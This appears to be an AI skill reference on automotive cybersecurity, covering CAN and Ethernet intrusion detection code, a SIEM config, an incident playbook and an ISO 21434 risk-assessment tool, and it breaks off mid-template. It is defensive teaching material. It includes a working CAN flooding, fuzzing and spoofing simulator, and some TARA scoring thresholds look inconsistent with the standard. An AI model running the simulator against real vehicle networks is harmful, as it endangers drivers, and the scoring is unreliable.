automotive-cybersecurity

name	automotive-cybersecurity
description	Automotive Cybersecurity expertise. Covers 6 topics: Intrusion Detection Prevention, Iso 21434 Compliance, Penetration Testing Automotive, Secure Boot Chain, Secure Software Development.
tags	["automotive","automotive-cybersecurity"]

Automotive Cybersecurity

Intrusion Detection Prevention

Intrusion Detection & Prevention Skill

Overview

Expert skill for implementing IDS/IPS (Intrusion Detection/Prevention Systems) in automotive networks. Covers CAN bus anomaly detection, network traffic analysis, SIEM integration, honeypot deployment, and incident response playbooks.

Core Competencies

IDS/IPS Architecture

• Network-based IDS (NIDS): Monitor CAN, FlexRay, Ethernet traffic
• Host-based IDS (HIDS): Monitor ECU system calls, file integrity
• Anomaly Detection: Machine learning for baseline behavior
• Signature-based Detection: Known attack patterns
• Prevention Mechanisms: Frame filtering, rate limiting, isolation

Detection Techniques

• Statistical Analysis: Abnormal message rates, timing violations
• Protocol Validation: Malformed frames, invalid DLC
• Behavioral Analysis: Unexpected ECU communication patterns
• Entropy Analysis: Randomness in payload data

CAN Bus Intrusion Detection System

CAN IDS Implementation

#!/usr/bin/env python3
"""
CAN Bus Intrusion Detection System
Real-time anomaly detection for automotive CAN networks
"""

import can
import time
import statistics
from collections import defaultdict, deque
from datetime import datetime, timedelta
import json

class CANIDSEngine:
    """Core CAN IDS detection engine"""

    def __init__(self, can_interface: str = 'can0', window_size: int = 100):
        self.interface = can_interface
        self.bus = can.interface.Bus(channel=can_interface, bustype='socketcan')

        # Message statistics per CAN ID
        self.msg_stats = defaultdict(lambda: {
            'count': 0,
            'last_timestamp': None,
            'intervals': deque(maxlen=window_size),
            'dlc_values': deque(maxlen=window_size),
            'payloads': deque(maxlen=window_size)
        })

        # Learned baseline (normal behavior)
        self.baseline = {}
        self.alerts = []

        print(f"=== CAN IDS Engine Initialized ===")
        print(f"[INFO] Interface: {can_interface}")
        print(f"[INFO] Window size: {window_size}")

    def learn_baseline(self, duration_seconds: int = 300):
        """Learn normal CAN traffic baseline (5 minutes)"""
        print(f"\n=== Learning Baseline (mode) ===")
        print(f"[INFO] Duration: {duration_seconds} seconds")
        print(f"[INFO] Capturing normal traffic...")

        start_time = time.time()
        message_count = 0

        while (time.time() - start_time) < duration_seconds:
            msg = self.bus.recv(timeout=1.0)
            if msg is None:
                continue

            self._update_statistics(msg)
            message_count += 1

            if message_count % 1000 == 0:
                elapsed = int(time.time() - start_time)
                print(f"[INFO] {message_count} messages captured ({elapsed}s)")

        # Compute baseline statistics
        self._compute_baseline()

        print(f"\n[PASS] Baseline learning complete")
        print(f"[INFO] Total messages: {message_count}")
        print(f"[INFO] Unique CAN IDs: {len(self.baseline)}")

    def _update_statistics(self, msg: can.Message):
        """Update statistics for received message"""
        stats = self.msg_stats[msg.arbitration_id]
        stats['count'] += 1

        # Calculate inter-arrival time
        if stats['last_timestamp'] is not None:
            interval = msg.timestamp - stats['last_timestamp']
            stats['intervals'].append(interval)

        stats['last_timestamp'] = msg.timestamp
        stats['dlc_values'].append(msg.dlc)
        stats['payloads'].append(bytes(msg.data))

    def _compute_baseline(self):
        """Compute baseline statistics from learned data"""
        print(f"\n[INFO] Computing baseline statistics...")

        for can_id, stats in self.msg_stats.items():
            if stats['count'] < 10:
                continue  # Insufficient data

            # Interval statistics
            intervals = list(stats['intervals'])
            interval_mean = statistics.mean(intervals) if intervals else 0
            interval_std = statistics.stdev(intervals) if len(intervals) > 1 else 0

            # Expected DLC
            dlc_mode = max(set(stats['dlc_values']), key=list(stats['dlc_values']).count)

            # Payload entropy (randomness)
            payloads = list(stats['payloads'])
            entropy_mean = statistics.mean([self._calculate_entropy(p) for p in payloads])

            self.baseline[can_id] = {
                'message_count': stats['count'],
                'interval_mean': interval_mean,
                'interval_std': interval_std,
                'interval_min': interval_mean - (3 * interval_std),  # 3-sigma
                'interval_max': interval_mean + (3 * interval_std),
                'expected_dlc': dlc_mode,
                'entropy_mean': entropy_mean,
                'payloads_sample': payloads[:10]  # Store samples for comparison
            }

            print(f"  CAN ID 0x{can_id:03X}: "
                  f"interval={interval_mean*1000:.2f}ms±{interval_std*1000:.2f}ms, "
                  f"DLC={dlc_mode}, "
                  f"entropy={entropy_mean:.2f}")

    def _calculate_entropy(self, data: bytes) -> float:
        """Calculate Shannon entropy of payload"""
        if len(data) == 0:
            return 0.0

        from collections import Counter
        import math

        counter = Counter(data)
        length = len(data)

        entropy = 0.0
        for count in counter.values():
            p = count / length
            entropy -= p * math.log2(p)

        return entropy

    def detect_anomalies(self, msg: can.Message) -> list:
        """Detect anomalies in received message"""
        anomalies = []
        can_id = msg.arbitration_id

        if can_id not in self.baseline:
            anomalies.append({
                'type': 'UNKNOWN_CAN_ID',
                'severity': 'HIGH',
                'description': f'New CAN ID 0x{can_id:03X} not seen during baseline',
                'timestamp': msg.timestamp
            })
            return anomalies

        baseline = self.baseline[can_id]
        stats = self.msg_stats[can_id]

        # Check 1: Inter-arrival time anomaly
        if stats['last_timestamp'] is not None:
            interval = msg.timestamp - stats['last_timestamp']

            if interval < baseline['interval_min']:
                anomalies.append({
                    'type': 'MESSAGE_FLOODING',
                    'severity': 'HIGH',
                    'description': f'CAN ID 0x{can_id:03X} flooding: '
                                 f'interval {interval*1000:.2f}ms < expected {baseline["interval_min"]*1000:.2f}ms',
                    'timestamp': msg.timestamp,
                    'can_id': can_id
                })

            elif interval > baseline['interval_max']:
                anomalies.append({
                    'type': 'MESSAGE_SUPPRESSION',
                    'severity': 'MEDIUM',
                    'description': f'CAN ID 0x{can_id:03X} delayed: '
                                 f'interval {interval*1000:.2f}ms > expected {baseline["interval_max"]*1000:.2f}ms',
                    'timestamp': msg.timestamp,
                    'can_id': can_id
                })

        # Check 2: DLC anomaly
        if msg.dlc != baseline['expected_dlc']:
            anomalies.append({
                'type': 'DLC_ANOMALY',
                'severity': 'MEDIUM',
                'description': f'CAN ID 0x{can_id:03X} unexpected DLC: '
                             f'{msg.dlc} != expected {baseline["expected_dlc"]}',
                'timestamp': msg.timestamp,
                'can_id': can_id
            })

        # Check 3: Payload entropy anomaly (possible injection/fuzzing)
        payload_entropy = self._calculate_entropy(bytes(msg.data))
        entropy_diff = abs(payload_entropy - baseline['entropy_mean'])

        if entropy_diff > 2.0:  # Significant entropy change
            anomalies.append({
                'type': 'PAYLOAD_ANOMALY',
                'severity': 'HIGH',
                'description': f'CAN ID 0x{can_id:03X} unusual payload entropy: '
                             f'{payload_entropy:.2f} (expected {baseline["entropy_mean"]:.2f})',
                'timestamp': msg.timestamp,
                'can_id': can_id,
                'payload': msg.data.hex()
            })

        # Update statistics
        self._update_statistics(msg)

        return anomalies

    def monitor(self, duration_seconds: int = None, prevention_mode: bool = False):
        """Monitor CAN bus for intrusions"""
        print(f"\n=== CAN IDS Monitoring ===")
        print(f"[INFO] Prevention mode: {prevention_mode}")

        start_time = time.time()
        message_count = 0
        anomaly_count = 0

        try:
            while True:
                if duration_seconds and (time.time() - start_time) > duration_seconds:
                    break

                msg = self.bus.recv(timeout=1.0)
                if msg is None:
                    continue

                message_count += 1

                # Detect anomalies
                anomalies = self.detect_anomalies(msg)

                if anomalies:
                    anomaly_count += len(anomalies)

                    for anomaly in anomalies:
                        self._handle_alert(anomaly, msg, prevention_mode)

                # Status update every 5000 messages
                if message_count % 5000 == 0:
                    elapsed = int(time.time() - start_time)
                    print(f"[INFO] {message_count} messages, {anomaly_count} anomalies ({elapsed}s)")

        except KeyboardInterrupt:
            print(f"\n[INFO] Monitoring stopped by user")

        print(f"\n=== Monitoring Summary ===")
        print(f"[INFO] Total messages: {message_count}")
        print(f"[INFO] Anomalies detected: {anomaly_count}")
        print(f"[INFO] Detection rate: {anomaly_count/message_count*100:.2f}%")

    def _handle_alert(self, anomaly: dict, msg: can.Message, prevention_mode: bool):
        """Handle detected anomaly"""
        timestamp = datetime.fromtimestamp(anomaly['timestamp']).strftime('%H:%M:%S.%f')[:-3]

        print(f"\n[ALERT] {anomaly['severity']} - {anomaly['type']} @ {timestamp}")
        print(f"  Description: {anomaly['description']}")
        print(f"  CAN ID: 0x{msg.arbitration_id:03X}, DLC: {msg.dlc}, Data: {msg.data.hex()}")

        # Log alert
        self.alerts.append(anomaly)

        # Prevention actions
        if prevention_mode:
            if anomaly['type'] == 'MESSAGE_FLOODING':
                print(f"  [BLOCK] Rate limiting CAN ID 0x{msg.arbitration_id:03X}")
                # In real system: configure CAN controller filters

            elif anomaly['type'] == 'UNKNOWN_CAN_ID':
                print(f"  [BLOCK] Dropping frames from unknown CAN ID 0x{msg.arbitration_id:03X}")

            elif anomaly['type'] == 'PAYLOAD_ANOMALY':
                print(f"  [ISOLATE] Potential fuzzing/injection detected - isolating ECU")

    def export_alerts(self, output_file: str):
        """Export alerts to JSON"""
        with open(output_file, 'w') as f:
            json.dump(self.alerts, f, indent=2)

        print(f"[INFO] Alerts exported: {output_file}")


# Example: Simulate CAN attacks and detect them
def demo_can_ids():
    import os

    # Setup virtual CAN interface
    os.system('sudo modprobe vcan')
    os.system('sudo ip link add dev vcan0 type vcan')
    os.system('sudo ip link set up vcan0')

    print("=== CAN IDS Demo ===")
    print("[INFO] Using virtual CAN interface vcan0")

    # Create IDS
    ids = CANIDSEngine(can_interface='vcan0', window_size=50)

    # Simulate normal traffic generator (in separate process)
    print("\n[INFO] Start normal CAN traffic generator in another terminal:")
    print("  python3 can_traffic_generator.py --interface vcan0 --scenario normal")

    input("\nPress Enter when normal traffic is running...")

    # Learn baseline
    ids.learn_baseline(duration_seconds=60)

    # Monitor for attacks
    print("\n[INFO] Now inject attacks using:")
    print("  python3 can_attack_simulator.py --interface vcan0 --attack flooding")

    input("\nPress Enter to start monitoring...")

    ids.monitor(duration_seconds=120, prevention_mode=True)

    # Export results
    ids.export_alerts('/tmp/can_ids_alerts.json')

if __name__ == "__main__":
    demo_can_ids()

CAN Attack Simulator (for testing)

#!/usr/bin/env python3
"""
CAN Attack Simulator for IDS Testing
Generates various attack scenarios
"""

import can
import time
import random

class CANAttackSimulator:
    def __init__(self, interface: str = 'vcan0'):
        self.bus = can.interface.Bus(channel=interface, bustype='socketcan')
        print(f"=== CAN Attack Simulator ===")
        print(f"[INFO] Interface: {interface}")

    def attack_flooding(self, target_can_id: int = 0x123, duration: int = 10):
        """Message flooding attack"""
        print(f"\n[ATTACK] Flooding CAN ID 0x{target_can_id:03X}")

        start_time = time.time()
        count = 0

        while (time.time() - start_time) < duration:
            msg = can.Message(
                arbitration_id=target_can_id,
                data=[0x00] * 8,
                is_extended_id=False
            )
            self.bus.send(msg)
            count += 1
            # No delay - flood as fast as possible

        print(f"[INFO] Sent {count} messages in {duration}s")

    def attack_fuzzing(self, target_can_id: int = 0x456, duration: int = 10):
        """Payload fuzzing attack"""
        print(f"\n[ATTACK] Fuzzing CAN ID 0x{target_can_id:03X}")

        start_time = time.time()
        count = 0

        while (time.time() - start_time) < duration:
            # Random payload
            payload = [random.randint(0, 255) for _ in range(8)]

            msg = can.Message(
                arbitration_id=target_can_id,
                data=payload,
                is_extended_id=False
            )
            self.bus.send(msg)
            count += 1
            time.sleep(0.01)  # 10ms interval

        print(f"[INFO] Sent {count} fuzzed messages")

    def attack_spoofing(self, spoof_can_id: int = 0x789, duration: int = 10):
        """ECU spoofing attack (new CAN ID)"""
        print(f"\n[ATTACK] Spoofing new CAN ID 0x{spoof_can_id:03X}")

        start_time = time.time()
        count = 0

        while (time.time() - start_time) < duration:
            msg = can.Message(
                arbitration_id=spoof_can_id,
                data=[0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x00, 0x00, 0x00],
                is_extended_id=False
            )
            self.bus.send(msg)
            count += 1
            time.sleep(0.02)

        print(f"[INFO] Sent {count} spoofed messages")

if __name__ == "__main__":
    import sys

    if len(sys.argv) < 3:
        print("Usage: python3 can_attack_simulator.py --interface vcan0 --attack [flooding|fuzzing|spoofing]")
        sys.exit(1)

    interface = sys.argv[2]
    attack_type = sys.argv[4]

    attacker = CANAttackSimulator(interface=interface)

    if attack_type == "flooding":
        attacker.attack_flooding(target_can_id=0x123, duration=30)
    elif attack_type == "fuzzing":
        attacker.attack_fuzzing(target_can_id=0x456, duration=30)
    elif attack_type == "spoofing":
        attacker.attack_spoofing(spoof_can_id=0x999, duration=30)
    else:
        print(f"Unknown attack type: {attack_type}")

Ethernet IDS (Gateway/TCU)

#!/usr/bin/env python3
"""
Ethernet-based IDS for Automotive Gateway/TCU
Deep packet inspection for HTTP, MQTT, SOME/IP
"""

from scapy.all import sniff, IP, TCP, UDP
from collections import defaultdict
import time

class EthernetIDS:
    """Ethernet network IDS"""

    def __init__(self, interface: str = 'eth0'):
        self.interface = interface
        self.connection_tracker = defaultdict(lambda: {
            'count': 0,
            'first_seen': None,
            'last_seen': None
        })
        self.alerts = []

        print(f"=== Ethernet IDS Initialized ===")
        print(f"[INFO] Interface: {interface}")

    def packet_callback(self, packet):
        """Process captured packet"""
        if IP not in packet:
            return

        src_ip = packet[IP].src
        dst_ip = packet[IP].dst

        # Track connection
        conn_key = f"{src_ip}:{dst_ip}"
        tracker = self.connection_tracker[conn_key]
        tracker['count'] += 1
        tracker['last_seen'] = time.time()

        if tracker['first_seen'] is None:
            tracker['first_seen'] = time.time()

        # Detection rules
        if TCP in packet:
            self._check_tcp_anomalies(packet)
        elif UDP in packet:
            self._check_udp_anomalies(packet)

    def _check_tcp_anomalies(self, packet):
        """Check for TCP-based attacks"""
        tcp = packet[TCP]

        # SYN flood detection
        if tcp.flags == 'S':
            src_ip = packet[IP].src
            syn_count = sum(1 for key in self.connection_tracker
                          if key.startswith(src_ip) and
                          time.time() - self.connection_tracker[key]['first_seen'] < 10)

            if syn_count > 100:
                alert = {
                    'type': 'SYN_FLOOD',
                    'severity': 'HIGH',
                    'source': src_ip,
                    'description': f'Possible SYN flood from {src_ip} ({syn_count} connections in 10s)'
                }
                self._raise_alert(alert)

        # Port scanning detection
        dst_port = tcp.dport
        if dst_port > 1024:  # Non-standard ports
            src_ip = packet[IP].src
            unique_ports = len(set(
                key.split(':')[1] for key in self.connection_tracker
                if key.startswith(src_ip)
            ))

            if unique_ports > 50:
                alert = {
                    'type': 'PORT_SCAN',
                    'severity': 'MEDIUM',
                    'source': src_ip,
                    'description': f'Port scanning detected from {src_ip} ({unique_ports} unique ports)'
                }
                self._raise_alert(alert)

    def _check_udp_anomalies(self, packet):
        """Check for UDP-based attacks"""
        udp = packet[UDP]

        # SOME/IP message validation (automotive middleware)
        if udp.dport in [30490, 30491, 30492]:  # SOME/IP ports
            payload = bytes(packet[UDP].payload)

            if len(payload) < 16:
                alert = {
                    'type': 'MALFORMED_SOMEIP',
                    'severity': 'MEDIUM',
                    'source': packet[IP].src,
                    'description': 'Malformed SOME/IP message (too short)'
                }
                self._raise_alert(alert)

    def _raise_alert(self, alert: dict):
        """Raise security alert"""
        print(f"\n[ALERT] {alert['severity']} - {alert['type']}")
        print(f"  {alert['description']}")
        self.alerts.append(alert)

    def start_monitoring(self, count: int = 1000):
        """Start packet capture"""
        print(f"\n[INFO] Starting Ethernet monitoring ({count} packets)...")
        sniff(iface=self.interface, prn=self.packet_callback, count=count)

        print(f"\n=== Monitoring Complete ===")
        print(f"[INFO] Alerts raised: {len(self.alerts)}")

if __name__ == "__main__":
    ids = EthernetIDS(interface='eth0')
    ids.start_monitoring(count=5000)

SIEM Integration (ELK Stack)

# Logstash configuration for CAN IDS alerts
input {
  file {
    path => "/var/log/can_ids/alerts.json"
    start_position => "beginning"
    codec => "json"
  }
}

filter {
  # Parse CAN IDS alerts
  if [type] == "MESSAGE_FLOODING" {
    mutate {
      add_field => { "severity_score" => 9 }
      add_tag => ["dos_attack"]
    }
  }

  if [type] == "PAYLOAD_ANOMALY" {
    mutate {
      add_field => { "severity_score" => 8 }
      add_tag => ["potential_injection"]
    }
  }

  # Convert CAN ID to hex
  ruby {
    code => "event.set('can_id_hex', '0x%03X' % event.get('can_id'))"
  }

  # GeoIP lookup for external attacks
  if [source_ip] {
    geoip {
      source => "source_ip"
      target => "geoip"
    }
  }
}

output {
  elasticsearch {
    hosts => ["localhost:9200"]
    index => "automotive-ids-%{+YYYY.MM.dd}"
  }

  # High severity alerts to Slack
  if [severity] == "HIGH" {
    http {
      url => "https://hooks.slack.com/services/YOUR/WEBHOOK/URL"
      http_method => "post"
      format => "json"
      content_type => "application/json"
      message => '{
        "text": "🚨 CAN IDS Alert: %{type}",
        "attachments": [{
          "color": "danger",
          "fields": [
            {"title": "Description", "value": "%{description}"},
            {"title": "CAN ID", "value": "%{can_id_hex}"},
            {"title": "Timestamp", "value": "%{@timestamp}"}
          ]
        }]
      }'
    }
  }
}

Incident Response Playbook

# Automotive Cybersecurity Incident Response Playbook
incident_response:
  phase_1_identification:
    - alert: "IDS detects anomaly"
    - verify: "Confirm alert is not false positive"
    - classify: "Determine attack type and severity"
    - escalate: "Notify security team and OEM SOC"

  phase_2_containment:
    short_term:
      - action: "Isolate affected ECU/network segment"
      - method: "Gateway firewall rules, CAN filters"
      - verify: "Confirm attack traffic blocked"

    long_term:
      - action: "Patch vulnerable software"
      - method: "OTA security update"
      - timeline: "< 72 hours per UN R155"

  phase_3_eradication:
    - identify_root_cause: "Vulnerability analysis, forensics"
    - remove_threat: "Firmware update, key revocation"
    - verify_clean: "Scan for persistence mechanisms"

  phase_4_recovery:
    - restore_service: "Reboot ECU, restore network"
    - validate: "Functional testing, regression testing"
    - monitor: "Enhanced monitoring for 7 days"

  phase_5_lessons_learned:
    - document: "Incident timeline, root cause, actions taken"
    - improve: "Update IDS signatures, patch other vehicles"
    - report: "Notify regulatory authorities (UN R155 requirement)"

Best Practices

1. Layered Defense: Deploy IDS at multiple layers (CAN, Ethernet, application)
2. Baseline Learning: Capture 24-hour baseline before production deployment
3. False Positive Tuning: Iterate on detection rules to reduce false positives < 1%
4. SIEM Integration: Centralize logs for fleet-wide threat intelligence
5. Incident Playbooks: Pre-define response procedures for < 15 minute MTTR

References

• NIST SP 800-94: Guide to Intrusion Detection and Prevention Systems
• ISO 21434: Cybersecurity Engineering (Clause 11: Incident Response)
• AUTOSAR SecOC: Secure Onboard Communication specification
• J3061: Cybersecurity Guidebook for Cyber-Physical Vehicle Systems

---

Iso 21434 Compliance

ISO/SAE 21434 Compliance Skill

Overview

Expert skill for implementing ISO/SAE 21434 cybersecurity engineering standard for road vehicles. Covers CSMS (Cybersecurity Management System), TARA (Threat Analysis and Risk Assessment), cybersecurity concept phase, product development, and operations/maintenance.

Core Competencies

ISO/SAE 21434 Framework

• Cybersecurity Management System (CSMS): Organizational processes, roles, responsibilities
• Concept Phase: Item definition, cybersecurity goals, threat scenarios
• Product Development: Security requirements, architecture design, verification
• Operations & Maintenance: Incident response, vulnerability management, EOL handling
• Supporting Processes: Risk assessment, security testing, change management

TARA Methodology

• Asset Identification: Identify critical assets (ECUs, data, communication channels)
• Threat Scenario Definition: STRIDE/DREAD modeling, attack trees
• Impact Rating: ASIL-D alignment, damage scenarios (safety, financial, operational, privacy)
• Attack Feasibility: Elapsed time, specialist expertise, knowledge of item, window of opportunity, equipment
• Risk Determination: Risk = Impact × Attack Feasibility
• Risk Treatment: Avoid, reduce, share, retain

UN R155 & R156 Alignment

• R155: Cybersecurity management system requirements
• R156: Software update management system requirements
• Type Approval: Demonstration of compliance for vehicle homologation

ISO 21434 Workflow

Phase 1: Concept Phase

# Item Definition Template
item_definition:
  item_name: "Telematics Control Unit (TCU)"
  item_id: "TCU-2024-001"
  description: "4G/5G connected telematics unit with V2X capability"
  boundaries:
    physical: "TCU ECU, antenna, power supply"
    logical: "CAN, Ethernet, cellular modem interfaces"
    temporal: "Ignition-on to ignition-off, OTA updates"

  assets:
    - name: "Vehicle Location Data"
      type: "Data"
      confidentiality: HIGH
      integrity: MEDIUM
      availability: MEDIUM

    - name: "Firmware Image"
      type: "Software"
      confidentiality: LOW
      integrity: HIGH
      availability: HIGH

    - name: "Private Key for V2X"
      type: "Cryptographic Material"
      confidentiality: CRITICAL
      integrity: CRITICAL
      availability: HIGH

  interfaces:
    - name: "CAN Bus Interface"
      protocol: "CAN 2.0B"
      threat_exposure: MEDIUM
      security_properties: ["message authentication"]

    - name: "Cellular Interface"
      protocol: "LTE/5G"
      threat_exposure: HIGH
      security_properties: ["TLS 1.3", "certificate pinning"]

Phase 2: TARA Execution

#!/usr/bin/env python3
"""
ISO 21434 TARA (Threat Analysis and Risk Assessment) Tool
Performs automated threat modeling and risk calculation
"""

from enum import Enum
from dataclasses import dataclass
from typing import List, Dict
import json

class ImpactLevel(Enum):
    NEGLIGIBLE = 1
    MODERATE = 2
    MAJOR = 3
    SEVERE = 4

class AttackFeasibility(Enum):
    VERY_LOW = 1
    LOW = 2
    MEDIUM = 3
    HIGH = 4
    VERY_HIGH = 5

class RiskLevel(Enum):
    LOW = 1
    MEDIUM = 2
    HIGH = 3
    VERY_HIGH = 4

@dataclass
class Threat:
    threat_id: str
    name: str
    description: str
    threat_type: str  # Spoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation
    asset: str
    impact_safety: ImpactLevel
    impact_financial: ImpactLevel
    impact_operational: ImpactLevel
    impact_privacy: ImpactLevel

    # Attack Feasibility Parameters (ISO 21434 Table A.1)
    elapsed_time: int  # 0-19 points
    specialist_expertise: int  # 0-11 points
    knowledge_of_item: int  # 0-11 points
    window_of_opportunity: int  # 0-10 points
    equipment: int  # 0-9 points

@dataclass
class RiskAssessment:
    threat: Threat
    overall_impact: ImpactLevel
    attack_feasibility: AttackFeasibility
    risk_level: RiskLevel
    risk_value: int
    treatment: str
    justification: str

class TARAEngine:
    def __init__(self):
        self.threats = []
        self.assessments = []

    def calculate_attack_feasibility(self, threat: Threat) -> AttackFeasibility:
        """Calculate attack feasibility per ISO 21434 Annex G"""
        total_score = (
            threat.elapsed_time +
            threat.specialist_expertise +
            threat.knowledge_of_item +
            threat.window_of_opportunity +
            threat.equipment
        )

        # ISO 21434 Table G.1 mapping
        if total_score >= 37:
            return AttackFeasibility.VERY_LOW
        elif total_score >= 25:
            return AttackFeasibility.LOW
        elif total_score >= 13:
            return AttackFeasibility.MEDIUM
        elif total_score >= 10:
            return AttackFeasibility.HIGH
        else:
            return AttackFeasibility.VERY_HIGH

    def calculate_overall_impact(self, threat: Threat) -> ImpactLevel:
        """Determine worst-case impact across all categories"""
        impacts = [
            threat.impact_safety,
            threat.impact_financial,
            threat.impact_operational,
            threat.impact_privacy
        ]
        return max(impacts, key=lambda x: x.value)

    def determine_risk_level(self, impact: ImpactLevel, feasibility: AttackFeasibility) -> tuple:
        """Map impact and feasibility to risk level (ISO 21434 Table 9)"""
        risk_matrix = {
            (ImpactLevel.SEVERE, AttackFeasibility.VERY_HIGH): (RiskLevel.VERY_HIGH, 5),
            (ImpactLevel.SEVERE, AttackFeasibility.HIGH): (RiskLevel.VERY_HIGH, 5),
            (ImpactLevel.SEVERE, AttackFeasibility.MEDIUM): (RiskLevel.HIGH, 4),
            (ImpactLevel.SEVERE, AttackFeasibility.LOW): (RiskLevel.MEDIUM, 3),
            (ImpactLevel.SEVERE, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 2),

            (ImpactLevel.MAJOR, AttackFeasibility.VERY_HIGH): (RiskLevel.VERY_HIGH, 5),
            (ImpactLevel.MAJOR, AttackFeasibility.HIGH): (RiskLevel.HIGH, 4),
            (ImpactLevel.MAJOR, AttackFeasibility.MEDIUM): (RiskLevel.MEDIUM, 3),
            (ImpactLevel.MAJOR, AttackFeasibility.LOW): (RiskLevel.LOW, 2),
            (ImpactLevel.MAJOR, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 1),

            (ImpactLevel.MODERATE, AttackFeasibility.VERY_HIGH): (RiskLevel.HIGH, 4),
            (ImpactLevel.MODERATE, AttackFeasibility.HIGH): (RiskLevel.MEDIUM, 3),
            (ImpactLevel.MODERATE, AttackFeasibility.MEDIUM): (RiskLevel.MEDIUM, 2),
            (ImpactLevel.MODERATE, AttackFeasibility.LOW): (RiskLevel.LOW, 1),
            (ImpactLevel.MODERATE, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 1),
        }

        key = (impact, feasibility)
        return risk_matrix.get(key, (RiskLevel.LOW, 1))

    def assess_threat(self, threat: Threat) -> RiskAssessment:
        """Perform complete risk assessment for a threat"""
        overall_impact = self.calculate_overall_impact(threat)
        attack_feasibility = self.calculate_attack_feasibility(threat)
        risk_level, risk_value = self.determine_risk_level(overall_impact, attack_feasibility)

        # Determine treatment strategy
        if risk_value >= 4:
            treatment = "REDUCE"
            justification = "High/Very High risk requires mitigation controls"
        elif risk_value >= 3:
            treatment = "REDUCE or SHARE"
            justification = "Medium risk may require mitigation or transfer"
        else:
            treatment = "ACCEPT"
            justification = "Low risk acceptable with documentation"

        assessment = RiskAssessment(
            threat=threat,
            overall_impact=overall_impact,
            attack_feasibility=attack_feasibility,
            risk_level=risk_level,
            risk_value=risk_value,
            treatment=treatment,
            justification=justification
        )

        self.assessments.append(assessment)
        return assessment

    def generate_report(self, output_file: str):
        """Generate TARA report in JSON format"""
        report = {
            "tara_metadata": {
                "standard": "ISO/SAE 21434:2021",
                "version": "1.0",
                "date": "2026-03-19",
                "total_threats": len(self.assessments)
            },
            "risk_summary": {
                "very_high": sum(1 for a in self.assessments if a.risk_level == RiskLevel.VERY_HIGH),
                "high": sum(1 for a in self.assessments if a.risk_level == RiskLevel.HIGH),
                "medium": sum(1 for a in self.assessments if a.risk_level == RiskLevel.MEDIUM),
                "low": sum(1 for a in self.assessments if a.risk_level == RiskLevel.LOW)
            },
            "assessments": []
        }

        for assessment in self.assessments:
            report["assessments"].append({
                "threat_id": assessment.threat.threat_id,
                "threat_name": assessment.threat.name,
                "threat_type": assessment.threat.threat_type,
                "asset": assessment.threat.asset,
                "impact": assessment.overall_impact.name,
                "attack_feasibility": assessment.attack_feasibility.name,
                "feasibility_score": {
                    "elapsed_time": assessment.threat.elapsed_time,
                    "specialist_expertise": assessment.threat.specialist_expertise,
                    "knowledge_of_item": assessment.threat.knowledge_of_item,
                    "window_of_opportunity": assessment.threat.window_of_opportunity,
                    "equipment": assessment.threat.equipment,
                    "total": sum([
                        assessment.threat.elapsed_time,
                        assessment.threat.specialist_expertise,
                        assessment.threat.knowledge_of_item,
                        assessment.threat.window_of_opportunity,
                        assessment.threat.equipment
                    ])
                },
                "risk_level": assessment.risk_level.name,
                "risk_value": assessment.risk_value,
                "treatment": assessment.treatment,
                "justification": assessment.justification
            })

        with open(output_file, 'w') as f:
            json.dump(report, f, indent=2)

        print(f"TARA report generated: {output_file}")


# Example: TCU TARA
def run_tcu_tara():
    tara = TARAEngine()

    # Threat T-001: Remote Code Execution via OTA
    threat_rce = Threat(
        threat_id="T-001",
        name="Remote Code Execution via Malicious OTA Update",
        description="Attacker injects malicious firmware via compromised OTA server",
        threat_type="Tampering",
        asset="Firmware Image",
        impact_safety=ImpactLevel.SEVERE,  # Can control vehicle functions
        impact_financial=ImpactLevel.MAJOR,  # Massive recall
        impact_operational=ImpactLevel.SEVERE,  # Complete TCU compromise
        impact_privacy=ImpactLevel.MAJOR,  # Access to all telemetry data
        elapsed_time=13,  # Days to weeks (13-16 points per ISO 21434)
        specialist_expertise=6,  # Proficient (6 points)
        knowledge_of_item=3,  # Public information (0-3 points)
        window_of_opportunity=4,  # Easy (0-4 points)
        equipment=4  # Standard equipment (4 points)
    )

    # Threat T-002: CAN Bus Message Injection
    threat_can_injection = Threat(
        threat_id="T-002",
        name="CAN Bus Message Injection",
        description="Attacker with physical access injects spoofed CAN messages",
        threat_type="Spoofing",
        asset="CAN Bus Interface",
        impact_safety=ImpactLevel.MAJOR,  # Can send false sensor data
        impact_financial=ImpactLevel.MODERATE,
        impact_operational=ImpactLevel.MAJOR,
        impact_privacy=ImpactLevel.NEGLIGIBLE,
        elapsed_time=16,  # < 1 day (16-19 points)
        specialist_expertise=6,  # Proficient
        knowledge_of_item=7,  # Restricted information (4-7 points)
        window_of_opportunity=7,  # Moderate (5-7 points)
        equipment=6  # Specialized equipment (5-7 points)
    )

    # Threat T-003: V2X Certificate Theft
    threat_cert_theft = Threat(
        threat_id="T-003",
        name="V2X Certificate Private Key Extraction",
        description="Physical attack to extract private key from HSM",
        threat_type="Information Disclosure",
        asset="Private Key for V2X",
        impact_safety=ImpactLevel.MAJOR,  # Spoofed V2X messages
        impact_financial=ImpactLevel.SEVERE,  # PKI infrastructure compromise
        impact_operational=ImpactLevel.MAJOR,
        impact_privacy=ImpactLevel.SEVERE,  # Impersonation attacks
        elapsed_time=7,  # More than 1 month (7-12 points)
        specialist_expertise=0,  # Expert (0 points)
        knowledge_of_item=0,  # Sensitive information (0 points)
        window_of_opportunity=7,  # Moderate
        equipment=0  # Bespoke equipment (0 points)
    )

    # Assess all threats
    tara.assess_threat(threat_rce)
    tara.assess_threat(threat_can_injection)
    tara.assess_threat(threat_cert_theft)

    # Generate report
    tara.generate_report("/tmp/tcu_tara_report.json")

    # Print summary
    print("\n=== TARA Summary ===")
    for assessment in tara.assessments:
        print(f"\n{assessment.threat.threat_id}: {assessment.threat.name}")
        print(f"  Impact: {assessment.overall_impact.name}")
        print(f"  Attack Feasibility: {assessment.attack_feasibility.name}")
        print(f"  Risk Level: {assessment.risk_level.name} (Value: {assessment.risk_value})")
        print(f"  Treatment: {assessment.treatment}")

if __name__ == "__main__":
    run_tcu_tara()

Phase 3: Cybersecurity Concept

# Cybersecurity Concept Template
cybersecurity_concept:
  item: "Telematics Control Unit (TCU)"
  version: "1.0"
  date: "2026-03-19"

  cybersecurity_goals:
    - id: "CG-001"
      description: "Prevent unauthorized firmware modification"
      rationale: "Addresses T-001 (Remote Code Execution)"
      security_property: "Integrity"

    - id: "CG-002"
